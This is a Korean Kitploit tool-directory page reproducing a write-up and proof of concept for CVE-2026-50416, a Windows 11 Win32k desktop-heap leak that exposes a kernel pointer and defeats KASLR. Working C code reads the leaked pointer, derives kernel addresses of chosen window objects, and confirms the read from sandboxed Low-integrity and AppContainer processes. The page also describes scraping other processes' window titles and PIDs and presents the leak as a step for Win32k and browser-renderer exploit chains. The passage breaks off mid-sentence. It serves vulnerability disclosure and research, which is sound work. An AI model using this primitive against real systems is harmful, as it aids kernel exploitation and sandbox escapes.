Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-50416-writeup-and-poc — CVE-2026-50416: Windows 11 KASLR 우회 | Kitploit
도구/GitHubGitHub/karollooool/cve-2026-50416-writeup-and-poc
Exploit FrameworksMemory ForensicsVulnerability AnalysisExploitationInformation GatheringCTFBinary AnalysisPapers & ResearchLearning & Education
Labs & Practice
GitHubkarollooool/cve-2026-50416-writeup-and-poc

CVE-2026-50416-writeup-and-poc

CVE-2026-50416: Windows 11 KASLR 우회

저장소 보기웹사이트
445131개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-50416: 데스크톱 힙에 하나의 QWORD가 너무 많음

Windows 11 Insider 빌드 10.0.28020.2149에서 Win32k 데스크톱 힙의 사용자 모드 매핑이 오프셋 0x100에 원시 커널 세션 풀 포인터를 노출했습니다.

읽기 자체는 거의 공격적으로 작을 정도입니다:

ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

테스트 세션에서 다음 값이 반환되었습니다:

0xffffc600dcc00040

이 값은 동일한 데스크톱의 프로세스 간에 동일하게 유지되었으며 재부팅 후 변경되었습니다. 다른 데스크톱에서 시작된 프로세스는 다른 데스크톱 힙을 가졌기 때문에 다른 값을 받았습니다. 이 단일 QWORD에서 PoC는 커널 데스크톱 힙 베이스를 복구한 다음 user32!gSharedInfo를 사용하여 활성 창 객체의 커널 주소를 도출했습니다.

동일한 읽기가 Low 무결성, AppContainer, 기능이 전혀 없는 LPAC 구성, 그리고 기능이 전혀 없는 Low 무결성 AppContainer 자식에서도 작동했습니다.

데스크톱 힙은 공유되어야 합니다. 커널 포인터는 공유되지 않습니다.

사용자 모드에서의 데스크톱 힙

Win32k는 창, 메뉴, 클래스, 후크 및 관련 메타데이터와 같은 USER 객체를 데스크톱 힙에 저장합니다. 각 데스크톱에는 자체 힙이 있습니다. 해당 힙의 일부는 데스크톱과 연결된 프로세스에 매핑되어 사용자 모드가 모든 필드에 대해 커널에 요청하지 않고 공유 GUI 상태를 읽을 수 있게 합니다.

테스트된 x64 빌드에서 사용자 모드 매핑은 현재 스레드의 TEB 클라이언트 데이터를 통해 도달할 수 있습니다:

PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];

오프셋은 빌드별로 다르지만 경로는 간단합니다:

GS:[0x30]
    -> TEB
    -> TEB + 0x800의 ClientInfo
    -> ClientInfo[5]
    -> 사용자 모드 데스크톱 힙 매핑

PoC는 반환된 주소에 대해 VirtualQuery를 호출하고 매핑된 영역과 보호를 기록합니다. 아직 잘못된 것은 없습니다. 읽기 전용 데스크톱 힙 매핑은 정상적인 Win32k 동작입니다.

문제는 256바이트 지점에서 시작됩니다.

오프셋 0x100의 포인터

메인 PoC는 매핑된 힙에서 하나의 QWORD를 읽습니다:

ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

이 값은 테스트된 시스템에서 커널 가상 주소에서 기대되는 기본 검사를 통과했습니다:

  • 정규 상위 비트
  • 8바이트 정렬
  • PoC가 필터링하는 알려진 센티널 값 중 하나가 아님
  • 창이 생성되고 파괴되는 동안 안정적
  • 동일한 데스크톱의 테스트된 프로세스에서 동일
  • 재부팅 후 다름
  • 다른 데스크톱에서 다름

안정성 테스트는 STATIC, BUTTON, EDIT 창을 생성하고, 생성 전에 값을 읽고, 창이 존재하는 동안 다시 읽고, 창을 파괴한 후 세 번째로 읽습니다.

ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);

HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);

ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);

DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);

ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);

세 번의 읽기 모두 동일한 값을 반환했습니다. 창 할당 활동은 값을 이동시키지 않았습니다. 이 동작은 수명이 짧은 객체 포인터보다는 데스크톱 힙 메타데이터의 필드와 일치합니다.

프로세스 간 속성도 마찬가지로 중요합니다. 동일한 데스크톱에 연결된 두 프로세스는 동일한 데스크톱 힙을 보고 있기 때문에 동일한 유출 값을 관찰합니다. 재부팅 후 KASLR은 세션에 새 주소를 제공합니다. 다른 데스크톱에 배치된 자식은 해당 데스크톱이 다른 힙을 소유하기 때문에 다른 포인터를 관찰합니다.

이는 유출에 유용한 정체성을 부여합니다:

동일 부팅 + 동일 데스크톱      -> 동일 포인터
동일 부팅 + 다른 데스크톱      -> 다른 포인터
새 부팅                        -> 다른 포인터

커널 데스크톱 힙 베이스 복구

테스트된 빌드에서 유출된 포인터는 PoC가 사용하는 커널 데스크톱 힙 베이스보다 0x40바이트 위에 있습니다:

ULONG64 kernel_desktop_heap_base = leaked - 0x40;

기록된 세션 값을 사용:

유출된 포인터            = 0xffffc600dcc00040
커널 데스크톱 힙 베이스  = 0xffffc600dcc00000

이 관계는 빌드별로 다릅니다. 테스트 중 사용된 빌드의 경우 다음 단계에 필요한 커널 측 앵커를 제공합니다.

하나의 포인터는 이미 유용합니다. 선택된 객체의 주소는 훨씬 더 유용합니다.

gSharedInfo를 통한 창 객체 해석

user32.dll은 gSharedInfo를 내보내며, 이는 USER 핸들 항목 목록과 각 항목의 크기를 노출합니다:

typedef struct {
    PVOID psi;
    PVOID aheList;
    ULONG HeEntrySize;
} SHAREDINFO;

SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
    GetModuleHandleA("user32.dll"),
    "gSharedInfo"
);

HWND에는 USER 핸들 테이블에 대한 인덱스가 포함되어 있습니다. PoC는 핸들의 하위 16비트를 가져와 일치하는 항목으로 이동하고 거기에 저장된 데스크톱 힙 오프셋을 읽습니다.

ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;

동일한 오프셋이 두 매핑 모두에서 객체를 지정합니다:

BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;

따라서 전체 계산은 다음과 같습니다:

커널 데스크톱 힙 베이스 = desktop_heap[0x100] - 0x40
핸들 인덱스              = HWND & 0xffff
힙 오프셋               = aheList[핸들 인덱스].offset
커널 창 주소            = 커널 데스크톱 힙 베이스 + 힙 오프셋

PoC는 여섯 개의 창 클래스를 생성하고 각각에 대해 계산을 수행합니다:

  • STATIC
  • BUTTON
  • EDIT
  • LISTBOX
  • SCROLLBAR
  • COMBOBOX

모든 객체에 대해 HWND, 핸들 인덱스, 사용자 모드 객체 주소, 힙 오프셋 및 커널 주소를 출력합니다.

HWND
  -> 하위 16비트 핸들 인덱스
  -> gSharedInfo 핸들 항목
  -> 데스크톱 힙 오프셋
  -> 커널 데스크톱 힙 베이스 + 오프셋
  -> 해당 창 객체의 커널 주소

이 부분이 공개를 느슨한 커널 포인터에서 테스트된 데스크톱 힙의 선택된 USER 객체에 대한 주소 오라클로 바꾸는 부분입니다.

샌드박스 테스트가 중요한 이유

데스크톱 힙은 공유 매핑을 통해 도착합니다. 무결성 수준과 AppContainer 제한은 각 프로세스에 대해 해당 매핑의 내용을 다시 쓰지 않습니다. 프로세스가 데스크톱 힙을 받으면 0x100의 QWORD도 함께 받습니다.

샌드박스 PoC는 여러 컨텍스트에서 자식을 시작하고 각 자식이 자체 TEB와 자체 데스크톱 힙 매핑에서 값을 읽게 합니다.

컨텍스트구성결과
Medium 무결성표준 사용자 프로세스유출됨
Low 무결성토큰 무결성이 Low로 낮아짐유출됨
AppContainer요청된 기능 없음유출됨
LPAC 구성모든 애플리케이션 패키지 옵트아웃 정책, 요청된 기능 없음유출됨
Low 무결성 AppContainerLow IL + AppContainer, 요청된 기능 없음유출됨
대체 데스크톱새 데스크톱에 할당된 자식다른 값이 유출됨

처음 다섯 자식은 기본 데스크톱에 연결되어 동일한 주소를 반환했습니다. 대체 데스크톱 자식은 다른 데스크톱 힙을 받았기 때문에 다른 주소를 반환했습니다.

자식 출력은 부모가 결과를 비교할 수 있도록 간결한 형식을 갖습니다:

RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234

더 엄격한 헬퍼는 토큰 상태와 기능 수를 기록합니다:

RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234

중요한 세부 사항은 자식이 특수 Win32k API를 호출할 수 있다는 것이 아닙니다. 그럴 필요가 없습니다. 매핑이 존재하면 유출은 일반적인 사용자 모드 메모리 읽기입니다.

창 생성 불필요

별도의 헬퍼가 CreateWindow를 호출하지 않고 읽기를 수행합니다.

데스크톱 힙 포인터를 확인하고, desktop_heap[0x100]을 읽고, user32.dll을 명시적으로 로드하고, 매핑을 다시 확인한 다음에도 창을 생성하지 않습니다. 또 다른 렌더러 유사 자식은 user32.dll을 로드하고 동일한 읽기를 수행한 후 창을 생성하지 않고 종료합니다.

유용한 결과는 간단합니다:

유출된 QWORD를 읽기 전에 창 객체를 생성할 필요가 없습니다.

유출은 공격 프로세스가 생성한 창이 아니라 데스크톱 힙 매핑 자체에 속합니다.

렌더러 유사 자식

supporting_proof_remote_trigger.c는 요청된 기능이 전혀 없는 Low 무결성 AppContainer 자식을 생성합니다. 자식은 소량의 작업만 수행합니다:

LoadLibraryA("user32.dll");

PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

기록된 출력:

RENDERER|LEAKED|0xffffc600dcc00040|AC=1|IL=0x1000|NoWindowCreated

이는 렌더러 유사 토큰 구성에서의 읽기를 보여줍니다. 그러한 프로세스에서 이미 네이티브 코드 실행을 제공하는 별도의 브라우저 메모리 손상 버그는 이 데스크톱 힙 포인터를 읽기 전에 추가 정보 공개가 필요하지 않습니다.

매핑에서 더 볼 수 있었던 것

신뢰할 수 있는 포인터를 확보한 후 매핑된 영역을 스캔하여 다른 것이 무엇인지 확인했습니다.

추가 커널 형태 값

스캐너는 실행당 동일한 정규 주소 및 정렬 검사를 통과하는 6~10개의 추가 고유 QWORD 값을 발견했습니다. 정확한 수는 데스크톱 활동에 따라 변경되었습니다. 오프셋 0x100은 안정적인 기본 유출이었지만 매핑에서 커널 주소 형태를 가진 유일한 값은 아니었습니다.

다른 프로세스의 창 제목

민감 데이터 헬퍼는 EnumWindows로 최상위 창을 열거하고, 소유 PID와 제목을 수집한 다음, 데스크톱 힙 매핑에서 동일한 제목을 UTF-16 문자열로 검색합니다.

기록된 실행에서 다른 프로세스에 속한 20개의 고유 제목을 찾았습니다. 예시에는 브라우저 탭, Discord, Explorer, Spotify 및 시스템 트레이 창이 포함되었습니다.

프로그램은 두 조건이 모두 참인 경우에만 제목을 출력합니다:

  1. 문자열이 매핑된 데스크톱 힙 영역에 존재합니다.
  2. EnumWindows가 해당 제목과 테스트 프로세스와 다른 소유 PID를 가진 창을 보고합니다.

이렇게 하면 메모리에서 발견된 임의의 인쇄 가능한 문자열에 의존하는 대신 출력을 쉽게 검증할 수 있습니다.

프로세스 ID 발생

헬퍼는 또한 매핑에서 DWORD 값을 스캔합니다. 값은 다음 경우에만 계산됩니다:

  1. 그럴듯한 PID처럼 보입니다.
  2. OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)가 성공합니다.
  3. PID가 EnumWindows로 찾은 창도 소유합니다.

기록된 실행에서 605개의 일치하는 DWORD 발생을 찾았습니다. 이는 힙의 발생 횟수이지 605개의 고유 프로세스가 아닙니다. 동일한 PID가 두 번 이상 나타날 수 있습니다.

비밀번호 편집 텍스트

헬퍼는 ES_PASSWORD로 EDIT 컨트롤을 생성하고, 텍스트를 SecretPassword123으로 설정하고, 매핑된 영역에서 SecretP 접두사를 검색합니다. 테스트된 실행에서는 발견되지 않았습니다.

따라서 매핑은 제목, PID 발생 및 커널 형태 값을 노출했지만 테스트된 비밀번호 문자열은 거기에 나타나지 않았습니다.

유출이 익스플로잇 중에 변경하는 것

Win32k 메모리 손상 버그의 경우 객체가 존재한다는 것을 아는 것은 커널 메모리에서 어디에 있는지 아는 것과 같지 않습니다.

공개 없이 공격자는 알 수 없는 데스크톱 힙 베이스와 알 수 없는 객체 주소를 처리해야 합니다. 공개를 통해 주소 측면은 다음과 같아집니다:

하나의 QWORD 읽기
0x40 빼기
대상 핸들 항목 읽기
해당 힙 오프셋 더하기

선택된 HWND에 대해 공격자는 이제 테스트된 빌드에서 해당 커널 데스크톱 힙 주소를 갖게 됩니다. 이는 다음에 도움이 될 수 있습니다:

도구 다운로드